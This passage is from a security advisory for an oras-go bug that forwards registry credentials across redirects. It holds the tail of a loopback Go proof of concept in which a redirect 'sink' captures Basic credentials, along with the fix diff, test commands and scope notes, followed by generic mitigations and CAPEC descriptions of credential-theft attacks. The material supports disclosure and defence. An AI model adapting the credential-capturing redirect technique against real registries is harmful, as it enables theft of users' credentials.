fmt.Sprint(len(manifest)))\n\t\t_, _ = w.Write(manifest)\n\t}))\n\tdefer sink.Close()\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026originHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"origin\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)\n\t}))\n\tdefer origin.Close()\n\n\trepo, err := remote.NewRepository(origin.Listener.Addr().String() + \"/probe\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trepo.PlainHTTP = true\n\trepo.Client = \u0026auth.Client{\n\t\tClient: origin.Client(),\n\t\tCredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t}),\n\t}\n\n\t_, _, err = repo.Manifests().FetchReference(context.Background(), \"latest\")\n\n\tleaked := false\n\tfor _, h := range sinkHits {\n\t\tif h.Auth == expectedAuth {\n\t\t\tleaked = true\n\t\t}\n\t}\n\n\tresult := map[string]any{\n\t\t\"origin_hits\": originHits,\n\t\t\"sink_hits\": sinkHits,\n\t\t\"error\": \"\",\n\t\t\"leaked\": leaked,\n\t}\n\tif err != nil {\n\t\tresult[\"error\"] = err.Error()\n\t}\n\tencoded, _ := json.MarshalIndent(result, \"\", \" \")\n\tfmt.Println(string(encoded))\n\n\tif leaked {\n\t\tfmt.Println(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n\t\treturn\n\t}\n\tfmt.Println(\"BOUNDARY_HELD_NO_CREDENTIAL_LEAK\")\n\tos.Exit(1)\n}\n```\n\n## Candidate Fix\n\nThe candidate fix does two things:\n\n1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.\n2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.\n\nThe patch also adds regression coverage for both redirect cases:\n\n- redirect before origin authentication reaches a different origin;\n- redirect after origin authentication reaches a different origin.\n\n```diff\ndiff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go\nindex 35826eb..60c9f88 100644\n--- a/registry/remote/auth/client.go\n+++ b/registry/remote/auth/client.go\n@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {\n \tfor key, values := range c.Header {\n \t\treq.Header[key] = append(req.Header[key], values...)\n \t}\n-\treturn c.client().Do(req)\n+\tclient := c.client()\n+\tclientCopy := *client\n+\tcheckRedirect := client.CheckRedirect\n+\tclientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {\n+\t\tif len(via) \u003e 0 \u0026\u0026 !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {\n+\t\t\tredirectReq.Header.Del(headerAuthorization)\n+\t\t}\n+\t\tif checkRedirect != nil {\n+\t\t\treturn checkRedirect(redirectReq, via)\n+\t\t}\n+\t\treturn nil\n+\t}\n+\treturn clientCopy.Do(req)\n+}\n+\n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n }\n \n // credential resolves the credential for the given registry.\n@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tvar attemptedKey string\n \tcache := c.cache()\n \thost := originalReq.Host\n+\tif host == \"\" {\n+\t\thost = originalReq.URL.Host\n+\t}\n \tscheme, err := cache.GetScheme(ctx, host)\n \tif err == nil {\n \t\tswitch scheme {\n@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tif resp.StatusCode != http.StatusUnauthorized {\n \t\treturn resp, nil\n \t}\n+\trespHost := resp.Request.Host\n+\tif respHost == \"\" {\n+\t\trespHost = resp.Request.URL.Host\n+\t}\n+\tif respHost != host {\n+\t\treturn resp, nil\n+\t}\n \n \t// attempt again with credentials for recognized schemes\n \tchallenge := resp.Header.Get(headerWWWAuthenticate)\ndiff --git a/registry/remote/repository.go b/registry/remote/repository.go\nindex 74d6b89..0bd20ec 100644\n--- a/registry/remote/repository.go\n+++ b/registry/remote/repository.go\n@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte\n // Push or by Mount when the receiving repository does not implement the\n // mount endpoint.\n func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {\n+\toriginalURL := req.URL\n \treqHostname := req.URL.Hostname()\n \treqPort := req.URL.Port()\n \t// monolithic upload\n@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \tq.Set(\"digest\", expected.Digest.String())\n \treq.URL.RawQuery = q.Encode()\n \n-\t// reuse credential from previous POST request\n-\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" {\n+\t// reuse credential from previous POST request only when the upload location\n+\t// remains on the same origin.\n+\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" \u0026\u0026 sameHTTPOrigin(originalURL, location) {\n \t\treq.Header.Set(\"Authorization\", auth)\n \t}\n \tresp, err = s.repo.do(req)\n@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \treturn nil\n }\n \n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n+}\n+\n // Exists returns true if the described content exists.\n func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {\n \tif err := s.repo.checkPolicy(ctx, \"\"); err != nil {\n```\n\n## Validation Performed\n\nThe repaired candidate fix blocked:\n\n- manifest redirect credential forwarding;\n- upload `Location` credential forwarding.\n\nTargeted tests passed:\n\n```sh\ngo test ./registry/remote/auth -run \u0027TestClient_Do_Basic_Auth_Redirect|TestClient_Do\u0027 -count=1\ngo test ./registry/remote -run \u0027Test_BlobStore_Push|TestRepository\u0027 -count=1\n```\n\n## Prior Art / Duplicate Notes\n\nPublic pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR\u0027s stated upload `Location` scope.\n\nBearer realm credential exfiltration appears to be a separate issue family and is not part of this report\u0027s primary claim.\n\n## Claim Boundaries\n\nProven:\n\n- Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests.\n- ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.\n- The candidate fix blocks the tested redirect and upload `Location` credential exposures.\n\nNot claimed:\n\n- Live third-party exploitation.\n- RCE, host compromise, or registry compromise.\n- Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions.\n- Bearer realm behavior as part of the same claim.",
"id": "GHSA-vh4v-2xq2-g5cg",
"modified": "2026-07-01T21:54:06Z",
"published": "2026-07-01T21:54:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-vh4v-2xq2-g5cg"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/3c2e884e12ea52b6bff60c97f1edb7df7d0e0909"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ORAS Go forwards registry credentials across registry redirects"
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.